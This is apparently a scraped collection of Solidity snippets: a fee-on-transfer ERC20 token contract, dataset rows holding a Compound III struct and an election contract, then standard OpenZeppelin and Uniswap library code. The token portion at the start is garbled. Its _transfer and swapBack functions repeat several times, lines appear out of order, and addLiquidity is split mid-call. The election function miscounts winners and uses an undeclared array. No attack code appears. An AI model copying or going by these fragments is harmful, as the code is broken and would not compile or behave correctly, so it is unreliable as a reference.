if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
address(this),
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
feeAmountAt = swapTokensAtAmount - contractBalance; bool success;
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
}
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
feeAmountAt = swapTokensAtAmount - contractBalance; bool success;
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
}
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
(success,) = address(devWallet).call{value: ethForDev}("");
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
feeAmountAt = swapTokensAtAmount - contractBalance; bool success;
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
| 3,591,296
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./partial_match/1/0xDFF1091149bE811aDB2e5FE0fB48DBa8DcE5a755/sources/contracts/protocols/mainnet/compound_iii/helpers.sol
|
integer representing the decimal value scaled up by 10 ^ 18.integer representing the decimal value scaled up by 10 ^ 18.
|
struct AssetData {
Token token;
address priceFeed;
uint256 price;
uint64 borrowCollateralFactor;
uint64 liquidateCollateralFactor;
uint64 liquidationFactor;
uint128 supplyCapInWei;
uint128 totalCollateralInWei;
| 4,463,210
|
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./full_match/5/0xcd3EAf02914169fE4D6cBf19Ce6494e2c0160E40/sources/contracts/Contract.sol
|
* @dev Ends the election and retrieves the winner(s) of the election. @return winners The array of candidate IDs who received the highest votes./ Find the maximum number of votes
|
function endElection() public onlyAdmin returns (uint[] memory winners) {
require(isElectionOpen, "Election is not open");
require(block.timestamp > electionEndTime, "Election is still ongoing");
uint maxVotes = 0;
uint winnerCount = 0;
for (uint i = 1; i <= candidateCount; i++) {
if (candidates[i].voteCount > maxVotes) {
maxVotes = candidates[i].voteCount;
winnerCount = 1;
winnerCount++;
}
}
uint index = 0;
for (uint i = 1; i <= candidateCount; i++) {
if (candidates[i].voteCount == maxVotes) {
winnersArray[index] = i;
index++;
}
}
isElectionOpen = false;
return winnersArray;
}
| 1,871,886
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// File: @openzeppelin\contracts\utils\Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts\token\ERC20\extensions\IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin\contracts\token\ERC20\ERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin\contracts\utils\math\SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @uniswap\v2-core\contracts\interfaces\IUniswapV2Factory.sol
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: @uniswap\v2-core\contracts\interfaces\IUniswapV2Pair.sol
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
